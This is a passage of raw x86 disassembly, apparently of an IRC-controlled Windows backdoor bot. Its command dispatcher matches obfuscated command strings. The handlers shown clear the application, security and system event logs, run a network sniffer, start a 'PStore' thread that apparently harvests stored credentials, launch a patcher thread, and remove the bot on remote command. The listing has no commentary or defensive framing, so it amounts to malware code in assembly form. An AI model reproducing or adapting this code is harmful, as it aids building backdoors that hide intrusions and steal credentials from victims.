mov eax, [ebp+arg_C] add esi, 0B8h cmp eax, dword_43C170 jl short loc_403FB5 loc_403FFE: ; CODE XREF: sub_403B2C+482j push ebx push offset aSServersListed ; "%s Servers Listed" push dword ptr [edi+0Ch] loc_404007: ; CODE XREF: sub_403B2C+3B65j push [ebp+arg_10] call sub_4104F6 loc_40400F: ; DATA XREF: .text:004362A8o jmp loc_40ADAB ; --------------------------------------------------------------------------- loc_404014: ; CODE XREF: sub_403B2C+3F2j push dword ptr [esi] push offset aL3nyw_d7tfl_ ; "l3nYW.D7Tfl." call ebx ; dword_42F070 test eax, eax jnz loc_4040E2 cmp [ebp+arg_14], eax mov edi, [ebp+arg_C] mov ebx, offset aH08_Drzwx_ ; "h/08./drzWX." mov esi, offset aSAliasList ; "%s [Alias list]" jnz short loc_40404C cmp [ebp+arg_18], eax jnz short loc_404052 push ebx push esi push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 10h loc_40404C: ; CODE XREF: sub_403B2C+509j cmp [ebp+arg_18], 0 jz short loc_404061 loc_404052: ; CODE XREF: sub_403B2C+50Ej push ebx push esi push dword ptr [edi] push [ebp+arg_10] call sub_410491 add esp, 10h loc_404061: ; CODE XREF: sub_403B2C+524j xor ebx, ebx cmp dword_42F318, ebx jle loc_40AF54 mov esi, offset dword_454750 loc_404074: ; CODE XREF: sub_403B2C+5AFj cmp byte ptr [esi], 0 jz short loc_4040CE lea eax, [esi+18h] push eax push esi push ebx lea eax, [ebp+var_CCAC] push offset aD_SS ; "%d. %s = %s" push eax call sub_422063 add esp, 14h cmp [ebp+arg_14], 0 jnz short loc_4040B4 cmp [ebp+arg_18], 0 jnz short loc_4040BA lea eax, [ebp+var_CCAC] push eax push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 0Ch loc_4040B4: ; CODE XREF: sub_403B2C+56Bj cmp [ebp+arg_18], 0 jz short loc_4040CE loc_4040BA: ; CODE XREF: sub_403B2C+571j lea eax, [ebp+var_CCAC] push eax push dword ptr [edi] push [ebp+arg_10] call sub_410491 add esp, 0Ch loc_4040CE: ; CODE XREF: sub_403B2C+54Bj ; sub_403B2C+58Cj inc ebx add esi, 0B8h cmp ebx, dword_42F318 jl short loc_404074 jmp loc_40AF54 ; --------------------------------------------------------------------------- loc_4040E2: ; CODE XREF: sub_403B2C+4F3j push dword ptr [esi] push offset aP00ls0k4t_n1 ; "P00Ls0K4t.N1" call ebx ; dword_42F070 test eax, eax jnz loc_4041C9 cmp [esi+4], edi jz loc_4041B7 mov eax, [esi+8] cmp eax, edi jz loc_4041B7 push eax lea eax, [ebp+var_37D8] push offset aS_1 ; "%s" push eax call sub_422063 add esp, 0Ch push 3 pop ebx cmp [ebp+arg_4], ebx jle short loc_40415E loc_404124: ; CODE XREF: sub_403B2C+630j mov eax, [esi+ebx*4] cmp eax, edi jz short loc_404158 push eax lea eax, [ebp+var_529C] push offset aS_0 ; " %s" push eax call sub_422063 lea eax, [ebp+var_529C] push 104h push eax lea eax, [ebp+var_37D8] push eax call sub_421F40 add esp, 18h loc_404158: ; CODE XREF: sub_403B2C+5FDj inc ebx cmp ebx, [ebp+arg_4] jl short loc_404124 loc_40415E: ; CODE XREF: sub_403B2C+5F6j lea eax, [ebp+var_37D8] push eax push dword ptr [esi+4] call sub_412069 cmp [ebp+arg_14], 0 mov edi, [ebp+arg_C] pop ecx mov ebx, offset aH08_Drzwx_ ; "h/08./drzWX." pop ecx mov esi, offset aSAddedAliasS ; "%s Added Alias: %s" jnz short loc_40419F cmp [ebp+arg_18], 0 jnz short loc_4041A9 lea eax, [ebp+var_37D8] push eax push ebx push esi push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 14h loc_40419F: ; CODE XREF: sub_403B2C+654j cmp [ebp+arg_18], 0 jz loc_40AF54 loc_4041A9: ; CODE XREF: sub_403B2C+65Aj lea eax, [ebp+var_37D8] loc_4041AF: ; CODE XREF: sub_403B2C+1C46j ; sub_403B2C+3D8Ej ... push eax loc_4041B0: ; CODE XREF: sub_403B2C+9FDj push ebx push esi jmp loc_40A5C3 ; --------------------------------------------------------------------------- loc_4041B7: ; CODE XREF: sub_403B2C+5CAj ; sub_403B2C+5D5j mov edi, [ebp+arg_C] mov ebx, offset aH08_Drzwx_ ; "h/08./drzWX." mov esi, offset aSMissingParamS ; "%s Missing param(s)" jmp loc_407722 ; --------------------------------------------------------------------------- loc_4041C9: ; CODE XREF: sub_403B2C+5C1j and [ebp+arg_0], 0 cmp dword_42F318, 0 mov edi, [ebp+arg_C] jle loc_40430F mov [ebp+arg_C], offset dword_454768 loc_4041E4: ; CODE XREF: sub_403B2C+7DDj mov eax, [ebp+arg_C] push dword ptr [esi] add eax, 0FFFFFFE8h push eax call ebx ; dword_42F070 test eax, eax jnz loc_4042F6 movsx eax, byte_439016 push [ebp+arg_C] push eax lea eax, [ebp+var_7CAC] push offset aCS ; "%c%s" push eax call sub_422063 mov ecx, [ebp+arg_10] add esp, 10h call sub_41111B push eax lea eax, [ebp+var_7CAC] push offset aMe_0 ; "$me" push eax call sub_41F167 mov ecx, [ebp+arg_10] add esp, 0Ch call sub_41111F push eax lea eax, [ebp+var_7CAC] push offset aUser_1 ; "$user" push eax call sub_41F167 push offset dword_439638 lea eax, [ebp+var_7CAC] push offset aChan ; "$chan" push eax call sub_41F167 push dword ptr [esi+4] lea eax, [ebp+var_7CAC] push offset a1 ; "$1" push eax call sub_41F167 push dword ptr [esi+8] lea eax, [ebp+var_7CAC] push offset a2 ; "$2" push eax call sub_41F167 push dword ptr [esi+0Ch] lea eax, [ebp+var_7CAC] push offset a3 ; "$3" push eax call sub_41F167 push dword ptr [esi+10h] lea eax, [ebp+var_7CAC] push offset a4 ; "$4" push eax call sub_41F167 add esp, 48h lea eax, [ebp+var_7CAC] push dword ptr [esi+14h] push offset a5 ; "$5" push eax call sub_41F167 push dword ptr [esi+18h] lea eax, [ebp+var_7CAC] push offset a6 ; "$6" push eax call sub_41F167 push 0 lea eax, [ebp+var_7CAC] push [ebp+arg_14] push [ebp+arg_10] push edi push eax call sub_403A63 add esp, 2Ch loc_4042F6: ; CODE XREF: sub_403B2C+6C5j inc [ebp+arg_0] add [ebp+arg_C], 0B8h mov eax, [ebp+arg_0] cmp eax, dword_42F318 jl loc_4041E4 loc_40430F: ; CODE XREF: sub_403B2C+6ABj push dword ptr [esi] push offset aPdazx1odsoh0 ; "PDazX1oDSOh0" call ebx ; dword_42F070 test eax, eax jnz short loc_40432C push dword ptr [edi+0Ch] mov ecx, [ebp+arg_10] call sub_40FEC8 jmp loc_40AF54 ; --------------------------------------------------------------------------- loc_40432C: ; CODE XREF: sub_403B2C+7EEj push dword ptr [esi] push offset aUc6wg1ovwvt1 ; "uc6Wg1OvWVt1" call ebx ; dword_42F070 test eax, eax jnz short loc_4043AF mov esi, [esi+4] xor ebx, ebx cmp esi, ebx jz loc_40AF54 push esi call sub_41CE88 push eax push offset dword_4395C4 call sub_422760 add esp, 0Ch test eax, eax jnz loc_40AF54 push ebx push ebx call sub_41F455 cmp [ebp+arg_14], ebx pop ecx pop ecx jnz short loc_404375 push dword ptr [edi+8] jmp short loc_40437A ; --------------------------------------------------------------------------- loc_404375: ; CODE XREF: sub_403B2C+842j push offset asc_435B04 ; "*" loc_40437A: ; CODE XREF: sub_403B2C+847j push dword ptr [edi+4] push dword ptr [edi] push offset aRemoveCmdRecei ; "Remove cmd received: [%s!%s@root]" push [ebp+arg_10] call sub_41015C add esp, 14h push 1F4h call dword_42F15C ; Sleep mov ecx, [ebp+arg_10] call sub_41012A call dword_454258 ; WSACleanup push ebx call dword_42F06C ; ExitProcess loc_4043AF: ; CODE XREF: sub_403B2C+80Bj push dword ptr [esi] push offset aVsz2xXqjp5 ; "Vsz2x/xqJP5/" call ebx ; dword_42F070 test eax, eax jnz loc_4044A6 xor esi, esi cmp dword_4543E8, esi jnz loc_404497 mov ebx, 94h lea eax, [ebp+var_1F10] push ebx push esi push eax call sub_4221F0 add esp, 0Ch lea eax, [ebp+var_1F10] mov [ebp+var_1F10], ebx push eax call dword_42F044 ; GetVersionExA cmp [ebp+var_1F00], 2 mov [ebp+var_15C], offset aApplication ; "application" mov [ebp+var_158], offset aSecurity ; "security" mov [ebp+var_154], offset aSystem ; "system" mov [ebp+arg_C], esi jnz short loc_404455 xor ebx, ebx loc_404423: ; CODE XREF: sub_403B2C+927j push [ebp+ebx*4+var_15C] push 0 call dword_454288 ; OpenEventLogA mov esi, eax test esi, esi jz short loc_40444F push 0 push esi call dword_454290 ; ClearEventLogA test eax, eax jz short loc_404448 inc [ebp+arg_C] loc_404448: ; CODE XREF: sub_403B2C+917j push esi call dword_45424C ; CloseEventLog loc_40444F: ; CODE XREF: sub_403B2C+90Aj inc ebx cmp ebx, 3 jl short loc_404423 loc_404455: ; CODE XREF: sub_403B2C+8F3j xor eax, eax cmp [ebp+arg_14], eax jnz loc_40AF54 cmp [ebp+arg_18], eax jnz loc_40AF54 cmp [ebp+arg_C], eax mov ebx, offset aH08_Drzwx_ ; "h/08./drzWX." jle short loc_40448C push 3 push [ebp+arg_C] push ebx push offset aSClearedDDSysl ; "%s Cleared [%d/%d] syslogs" push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 18h loc_40448C: ; CODE XREF: sub_403B2C+945j push ebx push offset aSFailedToClear ; "%s Failed to clear syslogs" jmp loc_40768E ; --------------------------------------------------------------------------- loc_404497: ; CODE XREF: sub_403B2C+89Cj mov ebx, offset aH08_Drzwx_ ; "h/08./drzWX." mov esi, offset aSAdvapi_dllNot ; "%s Advapi.dll not loaded" jmp loc_407722 ; --------------------------------------------------------------------------- loc_4044A6: ; CODE XREF: sub_403B2C+88Ej push dword ptr [esi] push offset aOb4iqKj5ue_ ; "Ob4iQ/KJ5ue." call ebx ; dword_42F070 test eax, eax jnz loc_40471C mov eax, [esi+4] test eax, eax jz loc_4045C7 push eax push offset aE0idd0rdw2u ; "e0idD0RDw2U/" call ebx ; dword_42F070 test eax, eax jnz loc_4045C7 mov eax, [esi+8] test eax, eax jz loc_40AF54 push eax push offset a86tb1fspjg0 ; "86tb/1FSpjg0" call ebx ; dword_42F070 test eax, eax jnz short loc_404538 call sub_41BFDA test eax, eax mov [ebp+arg_C], eax mov ebx, offset aQo1bf0_b7k40mn ; "qo1bf0.B7k40Mnsrm1FhS.k." jle short loc_40452E cmp [ebp+arg_14], 0 mov esi, offset aSStoppedDThrea ; "%s Stopped: [%d] thread(s)" jnz short loc_40451C cmp [ebp+arg_18], 0 jnz short loc_404526 push eax push ebx push esi push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 14h loc_40451C: ; CODE XREF: sub_403B2C+9D7j cmp [ebp+arg_18], 0 jz loc_40AF54 loc_404526: ; CODE XREF: sub_403B2C+9DDj push [ebp+arg_C] jmp loc_4041B0 ; --------------------------------------------------------------------------- loc_40452E: ; CODE XREF: sub_403B2C+9CCj mov esi, offset aSNoThreadSFoun ; "%s No thread(s) found" jmp loc_407722 ; --------------------------------------------------------------------------- loc_404538: ; CODE XREF: sub_403B2C+9BBj push dword ptr [esi+8] call sub_422B5A push eax call sub_41BF58 pop ecx mov ebx, offset aQo1bf0_b7k40mn ; "qo1bf0.B7k40Mnsrm1FhS.k." test eax, eax pop ecx jz short loc_40458C cmp [ebp+arg_14], 0 jnz short loc_404574 cmp [ebp+arg_18], 0 jnz short loc_40457E push dword ptr [esi+8] push ebx push offset aSKilledThreadS ; "%s Killed thread: [%s]" push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 14h loc_404574: ; CODE XREF: sub_403B2C+A29j cmp [ebp+arg_18], 0 jz loc_40AF54 loc_40457E: ; CODE XREF: sub_403B2C+A2Fj push dword ptr [esi+8] push ebx push offset aSKilledThreadS ; "%s Killed thread: [%s]" jmp loc_40A5C3 ; --------------------------------------------------------------------------- loc_40458C: ; CODE XREF: sub_403B2C+A23j cmp [ebp+arg_14], 0 jnz short loc_4045AF cmp [ebp+arg_18], 0 jnz short loc_4045B9 push dword ptr [esi+8] push ebx push offset aSFailedToKillT ; "%s Failed to kill thread: [%s]" push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 14h loc_4045AF: ; CODE XREF: sub_403B2C+A64j cmp [ebp+arg_18], 0 jz loc_40AF54 loc_4045B9: ; CODE XREF: sub_403B2C+A6Aj push dword ptr [esi+8] push ebx push offset aSFailedToKillT ; "%s Failed to kill thread: [%s]" jmp loc_40A5C3 ; --------------------------------------------------------------------------- loc_4045C7: ; CODE XREF: sub_403B2C+990j ; sub_403B2C+9A0j push 5 call sub_41C254 test eax, eax pop ecx mov [ebp+arg_C], eax jle short loc_404614 cmp [ebp+arg_14], 0 mov ebx, offset aQo1bf0_b7k40mn ; "qo1bf0.B7k40Mnsrm1FhS.k." mov esi, offset aSSAlreadyRunni ; "%s %s Already running at thread number:"... jnz short loc_404602 cmp [ebp+arg_18], 0 jnz short loc_40460C push eax push offset aThreadList_0 ; "Thread list" push ebx push esi push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 18h loc_404602: ; CODE XREF: sub_403B2C+AB8j cmp [ebp+arg_18], 0 jz loc_40AF54 loc_40460C: ; CODE XREF: sub_403B2C+ABEj push [ebp+arg_C] jmp loc_4046FD ; --------------------------------------------------------------------------- loc_404614: ; CODE XREF: sub_403B2C+AA8j mov eax, [ebp+arg_14] mov [ebp+var_3620], eax mov eax, [ebp+arg_20] mov [ebp+var_3624], eax mov eax, [ebp+arg_18] mov [ebp+var_361C], eax test eax, eax lea eax, [ebp+var_36D0] jnz short loc_40463E push dword ptr [edi+0Ch] jmp short loc_404640 ; --------------------------------------------------------------------------- loc_40463E: ; CODE XREF: sub_403B2C+B0Bj push dword ptr [edi] loc_404640: ; CODE XREF: sub_403B2C+B10j push eax call dword_42F04C ; lstrcpyA mov eax, [ebp+arg_10] mov [ebp+var_36D4], eax mov esi, [esi+4] test esi, esi jz short loc_40466C push offset aNfknl0nqigy0 ; "NFKNL0nQigY0" push esi call ebx ; dword_42F070 neg eax sbb eax, eax inc eax mov [ebp+var_3640], eax jmp short loc_404673 ; --------------------------------------------------------------------------- loc_40466C: ; CODE XREF: sub_403B2C+B29j and [ebp+var_3640], 0 loc_404673: ; CODE XREF: sub_403B2C+B3Ej mov ebx, offset aQo1bf0_b7k40mn ; "qo1bf0.B7k40Mnsrm1FhS.k." push ebx push offset aSThreadList ; "%s Thread list" push 5 call sub_41BED7 add esp, 0Ch mov [ebp+var_3650], eax lea eax, [ebp+arg_6C] xor esi, esi push eax lea eax, [ebp+var_36D4] push esi push eax push offset sub_41C143 push esi push esi call dword_42F158 ; CreateThread mov ecx, [ebp+var_3650] imul ecx, 1018h cmp eax, esi mov dword_46D414[ecx], eax jnz short loc_40470F cmp [ebp+arg_14], 0 mov esi, offset aSFailedToStart ; "%s Failed to start [%s], error: [%d]" jnz short loc_4046EC cmp [ebp+arg_18], 0 jnz short loc_4046F6 call dword_42F068 ; RtlGetLastWin32Error push eax push offset aThreadList_0 ; "Thread list" push ebx push esi push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 18h loc_4046EC: ; CODE XREF: sub_403B2C+B9Cj cmp [ebp+arg_18], 0 jz loc_40AF54 loc_4046F6: ; CODE XREF: sub_403B2C+BA2j call dword_42F068 ; RtlGetLastWin32Error push eax loc_4046FD: ; CODE XREF: sub_403B2C+AE3j push offset aThreadList_0 ; "Thread list" jmp loc_40AF45 ; --------------------------------------------------------------------------- loc_404707: ; CODE XREF: sub_403B2C+BE9j push 32h call dword_42F15C ; Sleep loc_40470F: ; CODE XREF: sub_403B2C+B91j cmp [ebp+var_3618], esi jz short loc_404707 jmp loc_40AF54 ; --------------------------------------------------------------------------- loc_40471C: ; CODE XREF: sub_403B2C+985j push dword ptr [esi] push offset aG3obv_r6j7h ; "g3obv.r6j7H/" call ebx ; dword_42F070 test eax, eax jnz loc_40485C push dword ptr [esi+4] push offset aDJstMfgyq_ ; "d/Jst/MFgyQ." call ebx ; dword_42F070 test eax, eax jnz loc_40485C push 0Eh call sub_41C254 test eax, eax pop ecx mov [ebp+arg_C], eax jle short loc_404791 cmp [ebp+arg_14], 0 mov esi, offset aSSAlreadyRunni ; "%s %s Already running at thread number:"... mov ebx, offset aM7pC1xaudb1ty8 ; "m7P/c1xaudB1TY84s/myQpz0" jnz short loc_40477A cmp [ebp+arg_18], 0 jnz short loc_404784 push eax push offset aSniffer_ ; "Sniffer." push ebx push esi push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 18h loc_40477A: ; CODE XREF: sub_403B2C+C30j cmp [ebp+arg_18], 0 jz loc_40AF54 loc_404784: ; CODE XREF: sub_403B2C+C36j push [ebp+arg_C] push offset aSniffer_ ; "Sniffer." jmp loc_40AF45 ; --------------------------------------------------------------------------- loc_404791: ; CODE XREF: sub_403B2C+C20j cmp [ebp+arg_2C], 0 jz short loc_40479E mov esi, [esi+8] test esi, esi jnz short loc_4047A5 loc_40479E: ; CODE XREF: sub_403B2C+C69j push offset dword_439648 jmp short loc_4047A6 ; --------------------------------------------------------------------------- loc_4047A5: ; CODE XREF: sub_403B2C+C70j push esi loc_4047A6: ; CODE XREF: sub_403B2C+C77j lea eax, [ebp+var_3C54] push eax call dword_42F04C ; lstrcpyA mov eax, [ebp+arg_10] mov ebx, offset aM7pC1xaudb1ty8 ; "m7P/c1xaudB1TY84s/myQpz0" push ebx push offset aSSniffer_ ; "%s Sniffer." push 0Eh mov [ebp+var_3C58], eax call sub_41BED7 add esp, 0Ch mov [ebp+var_3BD4], eax lea eax, [ebp+arg_6C] xor esi, esi push eax lea eax, [ebp+var_3C58] push esi push eax push offset sub_415A65 push esi push esi call dword_42F158 ; CreateThread mov ecx, [ebp+var_3BD4] imul ecx, 1018h cmp eax, esi mov dword_46D414[ecx], eax jnz short loc_404817 loc_404808: ; CODE XREF: sub_403B2C+D1Dj ; sub_403B2C+D2Ej ... xor eax, eax jmp loc_40AF57 ; --------------------------------------------------------------------------- loc_40480F: ; CODE XREF: sub_403B2C+CF1j push 32h call dword_42F15C ; Sleep loc_404817: ; CODE XREF: sub_403B2C+CDAj cmp [ebp+var_3B9C], esi jz short loc_40480F xor eax, eax mov esi, offset aSStarted_ ; "%s started." cmp [ebp+arg_14], eax jnz short loc_404845 cmp [ebp+arg_1C], eax jnz short loc_404845 cmp [ebp+arg_18], eax jnz short loc_40484B push ebx push esi push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 10h loc_404845: ; CODE XREF: sub_403B2C+CFDj ; sub_403B2C+D02j cmp [ebp+arg_18], 0 jz short loc_404808 loc_40484B: ; CODE XREF: sub_403B2C+D07j push ebx loc_40484C: ; CODE XREF: sub_403B2C+68CDj push esi loc_40484D: ; CODE XREF: sub_403B2C+66E2j push dword ptr [edi] push [ebp+arg_10] call sub_410491 loc_404857: ; CODE XREF: sub_403B2C+2199j add esp, 10h jmp short loc_404808 ; --------------------------------------------------------------------------- loc_40485C: ; CODE XREF: sub_403B2C+BFBj ; sub_403B2C+C0Dj push dword ptr [esi] push offset aG3obv_r6j7h ; "g3obv.r6j7H/" call ebx ; dword_42F070 test eax, eax jnz short loc_404893 push dword ptr [esi+4] push offset aErwc30qfw_p0 ; "eRWc30Qfw.P0" call ebx ; dword_42F070 test eax, eax jnz short loc_404893 push offset aSniffer ; "Sniffer" push 0Eh jmp loc_409B7C ; --------------------------------------------------------------------------- loc_404883: ; CODE XREF: sub_403B2C+6059j push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_10] push dword ptr [edi] jmp loc_40A166 ; --------------------------------------------------------------------------- loc_404893: ; CODE XREF: sub_403B2C+D3Bj ; sub_403B2C+D49j push dword ptr [esi] push offset aM5spx_qp7lx_ ; "M5sPX.Qp7Lx." call ebx ; dword_42F070 test eax, eax jnz loc_404AAD push 0Fh call sub_41C254 xor ebx, ebx pop ecx cmp eax, ebx mov [ebp+arg_C], eax jle short loc_4048F3 cmp [ebp+arg_14], 0 mov esi, offset aSSAlreadyRunni ; "%s %s Already running at thread number:"... mov ebx, offset aIazcn0rzRw0xfk ; "iaZcN0Rz/rw0xfK1r.VuQwI." jnz short loc_4048E1 cmp [ebp+arg_18], 0 jnz short loc_4048EB push eax push offset aPstore ; "PStore" push ebx push esi push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 18h loc_4048E1: ; CODE XREF: sub_403B2C+D97j cmp [ebp+arg_18], 0 jz loc_40AF54 loc_4048EB: ; CODE XREF: sub_403B2C+D9Dj push [ebp+arg_C] jmp loc_404AA3 ; --------------------------------------------------------------------------- loc_4048F3: ; CODE XREF: sub_403B2C+D87j cmp [ebp+arg_2C], ebx jz short loc_4048FF mov eax, [esi+8] cmp eax, ebx jnz short loc_404906 loc_4048FF: ; CODE XREF: sub_403B2C+DCAj push offset dword_43964C jmp short loc_404907 ; --------------------------------------------------------------------------- loc_404906: ; CODE XREF: sub_403B2C+DD1j push eax loc_404907: ; CODE XREF: sub_403B2C+DD8j lea eax, [ebp+var_1984] push eax call dword_42F04C ; lstrcpyA mov eax, [ebp+arg_10] mov [ebp+var_18CC], ebx mov [ebp+var_1988], eax mov eax, [ebp+arg_14] mov [ebp+var_18D4], eax mov eax, [ebp+arg_18] mov [ebp+var_18D0], eax mov eax, [ebp+arg_20] mov [ebp+var_18D8], eax mov eax, [esi+4] cmp eax, ebx jz short loc_404961 push offset asc_435B04 ; "*" push eax call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_404961 mov eax, [esi+4] mov [ebp+var_1900], eax jmp short loc_404967 ; --------------------------------------------------------------------------- loc_404961: ; CODE XREF: sub_403B2C+E17j ; sub_403B2C+E28j mov [ebp+var_1900], ebx loc_404967: ; CODE XREF: sub_403B2C+E33j mov ebx, offset aIazcn0rzRw0xfk ; "iaZcN0Rz/rw0xfK1r.VuQwI." push ebx push offset aSPstore ; "%s PStore" push 0Fh call sub_41BED7 add esp, 0Ch mov [ebp+var_1904], eax lea eax, [ebp+arg_6C] lea ecx, [ebp+var_1988] push eax xor eax, eax push eax push ecx push offset sub_415DBD push eax push eax call dword_42F158 ; CreateThread mov ecx, [ebp+var_1904] mov esi, offset aSFailedToStart ; "%s Failed to start [%s], error: [%d]" imul ecx, 1018h test eax, eax mov dword_46D414[ecx], eax jnz loc_404A49 cmp [ebp+arg_14], eax jnz short loc_4049E2 cmp [ebp+arg_18], eax jnz short loc_4049E8 call dword_42F068 ; RtlGetLastWin32Error push eax push offset aPstore ; "PStore" push ebx push esi push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 18h loc_4049E2: ; CODE XREF: sub_403B2C+E93j cmp [ebp+arg_18], 0 jz short loc_404A03 loc_4049E8: ; CODE XREF: sub_403B2C+E98j call dword_42F068 ; RtlGetLastWin32Error push eax push offset aPstore ; "PStore" push ebx push esi push dword ptr [edi] push [ebp+arg_10] call sub_410491 add esp, 18h loc_404A03: ; CODE XREF: sub_403B2C+EBAj ; sub_403B2C+F26j push 1F40h call dword_42F15C ; Sleep lea eax, [ebp+arg_6C] lea ecx, [ebp+var_1988] push eax xor eax, eax push eax push ecx push offset sub_416B4C push eax push eax call dword_42F158 ; CreateThread mov ecx, [ebp+var_1904] imul ecx, 1018h test eax, eax mov dword_46D414[ecx], eax jz short loc_404A6A jmp short loc_404A5C ; --------------------------------------------------------------------------- loc_404A41: ; CODE XREF: sub_403B2C+F24j push 32h call dword_42F15C ; Sleep loc_404A49: ; CODE XREF: sub_403B2C+E8Aj cmp [ebp+var_18CC], 0 jz short loc_404A41 jmp short loc_404A03 ; --------------------------------------------------------------------------- loc_404A54: ; CODE XREF: sub_403B2C+F37j push 32h call dword_42F15C ; Sleep loc_404A5C: ; CODE XREF: sub_403B2C+F13j cmp [ebp+var_18CC], 0 jz short loc_404A54 jmp loc_40AF54 ; --------------------------------------------------------------------------- loc_404A6A: ; CODE XREF: sub_403B2C+F11j cmp [ebp+arg_14], 0 jnz short loc_404A92 cmp [ebp+arg_18], 0 jnz short loc_404A9C call dword_42F068 ; RtlGetLastWin32Error push eax push offset aPstore ; "PStore" push ebx push esi push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 18h loc_404A92: ; CODE XREF: sub_403B2C+F42j cmp [ebp+arg_18], 0 jz loc_40AF54 loc_404A9C: ; CODE XREF: sub_403B2C+F48j call dword_42F068 ; RtlGetLastWin32Error push eax loc_404AA3: ; CODE XREF: sub_403B2C+DC2j push offset aPstore ; "PStore" jmp loc_40AF45 ; --------------------------------------------------------------------------- loc_404AAD: ; CODE XREF: sub_403B2C+D72j push dword ptr [esi] push offset aF9ax112067l1 ; "f9aX112067l1" call ebx ; dword_42F070 test eax, eax jnz loc_404C28 xor ebx, ebx cmp [ebp+arg_2C], ebx jnz loc_404B7B cmp [esi+4], ebx jz loc_408AB4 cmp [esi+8], ebx jz loc_408AB4 cmp [esi+0Ch], ebx jz loc_408AB4 lea eax, [ebp+var_5B18] push offset dword_43964C push eax call dword_42F04C ; lstrcpyA push dword ptr [esi+4] call sub_41A292 push dword ptr [esi+0Ch] mov [ebp+arg_C], eax lea eax, [ebp+var_43E4] push offset aS_1 ; "%s" push eax call sub_422063 add esp, 10h push 4 pop edi cmp [ebp+arg_4], edi jle short loc_404B5A loc_404B20: ; CODE XREF: sub_403B2C+102Cj mov eax, [esi+edi*4] cmp eax, ebx jz short loc_404B54 push eax lea eax, [ebp+var_18CAC] push offset aS_0 ; " %s" push eax call sub_422063 lea eax, [ebp+var_18CAC] push 104h push eax lea eax, [ebp+var_43E4] push eax call sub_421F40 add esp, 18h loc_404B54: ; CODE XREF: sub_403B2C+FF9j inc edi cmp edi, [ebp+arg_4] jl short loc_404B20 loc_404B5A: ; CODE XREF: sub_403B2C+FF2j push dword ptr [esi+8] lea eax, [ebp+var_43E4] push eax lea eax, [ebp+var_5B18] push [ebp+arg_C] loc_404B6D: ; CODE XREF: sub_403B2C+10F7j push [ebp+arg_10] push eax call sub_4177A2 jmp loc_40A5CD ; --------------------------------------------------------------------------- loc_404B7B: ; CODE XREF: sub_403B2C+F97j mov eax, [esi+4] cmp eax, ebx jz loc_408AB4 cmp [esi+8], ebx jz loc_408AB4 cmp [esi+0Ch], ebx jz loc_408AB4 cmp [esi+10h], ebx jz loc_408AB4 push eax lea eax, [ebp+var_54D8] push eax call dword_42F04C ; lstrcpyA push dword ptr [esi+8] call sub_41A292 push dword ptr [esi+10h] mov ebx, eax lea eax, [ebp+var_41E0] push offset aS_1 ; "%s" push eax call sub_422063 add esp, 10h push 5 pop edi cmp [ebp+arg_4], edi jle short loc_404C12 loc_404BD8: ; CODE XREF: sub_403B2C+10E4j mov eax, [esi+edi*4] test eax, eax jz short loc_404C0C push eax lea eax, [ebp+var_10CAC] push offset aS_0 ; " %s" push eax call sub_422063 lea eax, [ebp+var_10CAC] push 104h push eax lea eax, [ebp+var_41E0] push eax call sub_421F40 add esp, 18h loc_404C0C: ; CODE XREF: sub_403B2C+10B1j inc edi cmp edi, [ebp+arg_4] jl short loc_404BD8 loc_404C12: ; CODE XREF: sub_403B2C+10AAj push dword ptr [esi+0Ch] lea eax, [ebp+var_41E0] push eax push ebx lea eax, [ebp+var_54D8] jmp loc_404B6D ; --------------------------------------------------------------------------- loc_404C28: ; CODE XREF: sub_403B2C+F8Cj push dword ptr [esi] push offset a1ylid_ejqp01 ; "1YLId.eJQP01" call ebx ; dword_42F070 test eax, eax jnz loc_404D23 mov eax, [ebp+arg_14] push offset dword_439644 mov [ebp+var_3AC], eax mov eax, [ebp+arg_18] mov [ebp+var_3A8], eax mov eax, [ebp+arg_20] mov [ebp+var_3A4], eax mov eax, [ebp+arg_10] mov [ebp+var_434], eax lea eax, [ebp+var_430] push eax call dword_42F04C ; lstrcpyA push offset aIi290eb6g4Ty84 ; "II/290Eb6G4/TY84s/myQpz0" push offset aSPatcherThread ; "%s Patcher thread." push 4 call sub_41BED7 add esp, 0Ch xor esi, esi mov [ebp+var_3B0], eax lea eax, [ebp+var_434] push esi push esi push eax push offset sub_41FE93 push esi push esi call dword_42F158 ; CreateThread mov ecx, [ebp+var_3B0] imul ecx, 1018h cmp eax, esi mov dword_46D414[ecx], eax jnz short loc_404D0C cmp [ebp+arg_14], 0 mov esi, offset aSFailedToStart ; "%s Failed to start [%s], error: [%d]" mov ebx, offset a68gmpWcesMnsrm ; "68gmp/wceS//Mnsrm1FhS.k." jnz short loc_404CE9 cmp [ebp+arg_18], 0 jnz short loc_404CF3 call dword_42F068 ; RtlGetLastWin32Error push eax push offset aPatcher ; "Patcher" push ebx push esi push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 18h loc_404CE9: ; CODE XREF: sub_403B2C+1199j cmp [ebp+arg_18], 0 jz loc_40AF54 loc_404CF3: ; CODE XREF: sub_403B2C+119Fj call dword_42F068 ; RtlGetLastWin32Error push eax push offset aPatcher ; "Patcher" jmp loc_40AF45 ; --------------------------------------------------------------------------- loc_404D04: ; CODE XREF: sub_403B2C+11E6j push 32h call dword_42F15C ; Sleep loc_404D0C: ; CODE XREF: sub_403B2C+1189j cmp [ebp+var_3A0], esi jz short loc_404D04 mov ebx, offset a68gmpWcesMnsrm ; "68gmp/wceS//Mnsrm1FhS.k." mov esi, offset aSPatcherStarte ; "%s Patcher Started" jmp loc_407722 ; --------------------------------------------------------------------------- loc_404D23: ; CODE XREF: sub_403B2C+1107j push dword ptr [esi] push offset aRiocl1kztwo0 ; "rioCl1kzTWO0" 